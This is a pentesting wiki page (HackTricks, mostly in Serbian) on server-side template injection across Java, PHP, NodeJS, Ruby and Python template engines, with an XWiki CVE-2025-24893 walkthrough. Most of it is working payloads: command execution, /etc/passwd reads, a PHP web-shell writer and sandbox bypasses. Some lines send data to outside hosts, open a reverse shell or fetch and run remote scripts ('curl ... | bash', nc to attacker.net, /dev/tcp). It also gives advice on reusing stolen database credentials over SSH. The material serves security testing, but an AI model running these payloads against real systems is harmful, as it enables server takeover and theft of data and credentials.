SSTI (Server Side Template Injection)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Šta je SSTI (Server-Side Template Injection)

Server-side template injection je ranjivost koja se javlja kada napadač može ubaciti zlonamerni code u template koji se izvršava na serveru. Ova ranjivost može se naći u različitim tehnologijama, uključujući Jinja.

Jinja je popularan template engine koji se koristi u web aplikacijama. Pogledajmo primer koji prikazuje ranjiv code snippet koji koristi Jinja:

output = template.render(name=request.args.get('name'))

U ovom ranjivom kodu, name parametar iz zahteva korisnika se direktno prosleđuje u template koristeći render funkciju. Ovo potencijalno omogućava attacker-u da ubaci zlonamerni kod u name parametar, što dovodi do server-side template injection.

Na primer, attacker može konstruisati zahtev sa payload-om kao ovaj:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} je injektovan u parametar name. Ovaj payload može sadržati Jinja direktive za šablone koje omogućavaju napadaču da izvrši neautorizovani kod ili manipuliše mehanizmom za šablone, potencijalno preuzimajući kontrolu nad serverom.

Da bi se sprečile ranjivosti vrste server-side template injection, developeri treba da osiguraju da je korisnički input pravilno sanitizovan i validiran pre umetanja u šablone. Implementacija validacije inputa i korišćenje kontekst-svesnog escaping-a mogu pomoći u ublažavanju rizika od ove ranjivosti.

Detekcija

Da bi se otkrio Server-Side Template Injection (SSTI), u početku je fuzzing the template jednostavan pristup. To uključuje injektovanje niza specijalnih karaktera (${{<%[%'"}}%\) u šablon i analizu razlika u odgovoru servera na regularne podatke naspram ovog specijalnog payload-a. Indikatori ranjivosti uključuju:

  • Baci greške, otkrivajući ranjivost i potencijalno template engine.
  • Nepostojanje payload-a u refleksiji, ili delovi koji nedostaju, što implicira da server procesira sadržaj drugačije nego regularne podatke.
  • Plaintext Context: Razlikovati od XSS tako što se proveri da li server evaluira izraze šablona (npr. {{7*7}}, ${7*7}).
  • Code Context: Potvrditi ranjivost tako što se promene ulazni parametri. Na primer, menjanje greeting u http://vulnerable-website.com/?greeting=data.username da bi se videlo da li je izlaz servera dinamičan ili fiksan, kao u slučaju greeting=data.username}}hello koji vraća username.

Faza identifikacije

Identifikacija template engine-a uključuje analizu poruka o grešci ili manuelno testiranje različitih payload-a specifičnih za jezik. Uobičajeni payload-i koji izazivaju greške uključuju ${7/0}, {{7/0}}, i <%= 7/0 %>. Posmatranje odgovora servera na matematičke operacije pomaže u preciziranju konkretnog template engine-a.

Identifikacija pomoću payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Alati

TInjA

an efficient SSTI + CSTI scanner which utilizes novel polyglots

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

interaktivna tabela koja sadrži najučinkovitije template injection polyglots zajedno sa očekivanim odgovorima 44 najvažnija template engines.

Exploits

Generički

U ovoj wordlist možete pronaći definisane promenljive u okruženjima nekih od engines navedenih ispod:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Dohvati promenljive okruženja sistema

${T(java.lang.System).getenv()}

Java - Preuzimanje /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Možete isprobati svoje payloads na https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Ništa
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ radi samo na Freemarker verzijama ispod 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Više informacija

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Više informacija

Thymeleaf

U Thymeleaf-u, uobičajeni test za SSTI ranjivosti je izraz ${7*7}, što važi i za ovaj template engine. Za potencijalni remote code execution mogu se koristiti izrazi poput sledećih:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf zahteva da ovi izrazi budu postavljeni u specifične atribute. Međutim, expression inlining je podržan za druge lokacije u template-u, koristeći sintaksu poput [[...]] ili [(...)]. Dakle, jednostavan SSTI test payload može izgledati kao [[${7*7}]].

Međutim, verovatnoća da ovaj payload radi je generalno niska. Podrazumevana konfiguracija Thymeleaf-a ne podržava dinamičko generisanje template-a; template-i moraju biti unapred definisani. Programeri bi morali da implementiraju sopstveni TemplateResolver da bi kreirali template-e iz stringova u letu, što je neuobičajeno.

Thymeleaf takođe nudi expression preprocessing, gde se izrazi unutar dvostrukih donjih crta (__...__) unapred procesuiraju. Ova funkcija može biti iskorišćena pri konstrukciji izraza, kao što je prikazano u Thymeleaf dokumentaciji:

#{selection.__${sel.code}__}

Primer ranjivosti u Thymeleaf

Razmotrite sledeći isečak koda, koji bi mogao biti podložan eksploataciji:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Ovo ukazuje da, ako template engine nepravilno obradi ove ulaze, to može dovesti do remote code execution koji pristupa URL-ovima poput:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Više informacija

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Zaobilaženje filtera

Može se koristiti više izraza promenljivih; ako ${...} ne radi, pokušajte #{...}, *{...}, @{...} ili ~{...}.

  • Pročitaj /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Custom Script za generisanje payload-a
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Više informacija

Spring manipulacija prikaza (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Stara verzija Pebble ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nova verzija Pebble-a:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava je projekat otvorenog koda razvijen od strane Hubspot-a, dostupan na https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Ispravljeno u https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Više informacija

Hubspot - HuBL (Java)

  • {% %} delitelji iskaza
  • {{ }} delitelji izraza
  • {# #} delitelji komentara
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Potražite “com.hubspot.content.hubl.context.TemplateContextRequest” i otkrićete Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Više informacija

Expression Language - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) je osnovna funkcionalnost koja omogućava interakciju između prezentacionog sloja (kao što su web stranice) i logike aplikacije (npr. managed beans) u JavaEE. Koristi se u velikoj meri u više JavaEE tehnologija kako bi se pojednostavila ova komunikacija. Ključne JavaEE tehnologije koje koriste EL uključuju:

  • JavaServer Faces (JSF): Koristi EL za povezivanje komponenti na JSF stranicama sa odgovarajućim backend podacima i akcijama.
  • JavaServer Pages (JSP): EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa podacima aplikacije.
  • Contexts and Dependency Injection for Java EE (CDI): EL se integriše sa CDI kako bi omogućio besprekornu interakciju između web sloja i managed beans, obezbeđujući koherentniju strukturu aplikacije.

Pogledajte sledeću stranicu da biste saznali više o eksploataciji EL interpretatora:

EL - Expression Language

Groovy (Java)

Sledeći Security Manager bypassi su preuzeti iz ovog writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) renderuje neautentifikovane RSS search feed-ove kroz Main.SolrSearch macro. Handler uzima query parametar text, umotava ga u wiki sintaksu i evaluira macros, pa injektovanjem }}} praćenog sa {{groovy}} izvršava proizvoljan Groovy u JVM-u.

  1. Otisak i obim – Kada je XWiki reverse-proksiran iza host-based routing-a, fuzz-ujte Host header (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) da otkrijete wiki vhost, zatim otvorite /xwiki/bin/view/Main/ i pročitajte footer (XWiki Debian 15.10.8) da potvrdite ranjivu verziju.
  2. Trigger SSTI – Request-ujte /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. RSS item <title> će sadržati Groovy output. Uvek “URL-encode all characters” tako da razmaci ostanu kao %20; zamena sa + tera XWiki da baci HTTP 500.
  3. Run OS commands – Zamenite Groovy telo sa {{groovy}}println("id".execute().text){{/groovy}}. String.execute() pokreće komandu direktno sa execve(), tako da shell metakarakteri (|, >, &) nisu interpretirani. Koristite download-and-execute pattern umesto toga:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (skript sadrži reverse shell logiku).
  1. Post eksploatacija – XWiki čuva database kredencijale u /etc/xwiki/hibernate.cfg.xml; leaking hibernate.connection.password gives real-system passwords koje možete ponovo iskoristiti za SSH. Ako service unit postavi NoNewPrivileges=true, alati kao što su /bin/su neće dobiti dodatne privilegije čak i sa validnim lozinkama, tako da pivotujte preko SSH umesto oslanjanja na lokalne SUID binarne fajlove.

Isti payload radi i na /xwiki/bin/get/Main/SolrSearch, i Groovy stdout je uvek embedovan u RSS title, tako da je lako skriptovati enumeraciju komandi.

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Više informacija

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Format šablona

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Više informacija

Plates (PHP)

Plates je sistem za templiranje, nativan za PHP, koji crpi inspiraciju iz Twig-a. Međutim, za razliku od Twig-a, koji uvodi novu sintaksu, Plates koristi izvorni PHP kod u šablonima, što ga čini intuitivnim za PHP programere.

Kontroler:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Predložak stranice:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Izgled šablona:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Više informacija

PHPlib i HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB je isto kao PHPlib ali portovan na Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Više informacija

Ostali PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Više informacija

patTemplate (PHP)

patTemplate nekompajlirajući PHP template engine koji koristi XML tagove za podelu dokumenta na različite delove

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Više informacija

Handlebars (NodeJS)

Path Traversal (više informacija here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Greška
  • ${7*7} = ${7*7}
  • Ništa
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Više informacija

JsRender (NodeJS)

ŠablonOpis
Evaluiraj i renderuj izlaz
Evaluiraj i renderuj HTML enkodiran izlaz
Komentar
iDozvoli kod (onemogućeno po defaultu)
  • = 49

Klijentska strana

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Serverska strana

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Više informacija

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Primer server-side renderovanja

var pugjs = require("pug")
home = pugjs.render(injected_page)

Više informacija

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Nema izlaza
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Greška
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Više informacija

NodeJS sandboxi za izraze (vm2 / isolated-vm)

Neki workflow builder-i procenjuju izraze koje kontroliše korisnik unutar Node sandboxa (vm2, isolated-vm), ali kontekst izraza i dalje izlaže this.process.mainModule.require. To omogućava napadaču da učita child_process i izvrši OS komande čak i kada su namenski “Execute Command” čvorovi onemogućeni:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

Ostali NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Više informacija

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Više informacija

Ostalo za Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Pogledajte sledeću stranicu da naučite trikove o arbitrary command execution bypassing sandboxes u Pythonu:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Više informacija

Jinja2 (Python)

Official website

Jinja2 je potpuno opremljen mehanizam za šablone za Python. Ima punu podršku za Unicode, opciono integrisano sandboxirano izvršno okruženje, široko je korišćen i licenciran pod BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Format šablona

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE ne zavisi od __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
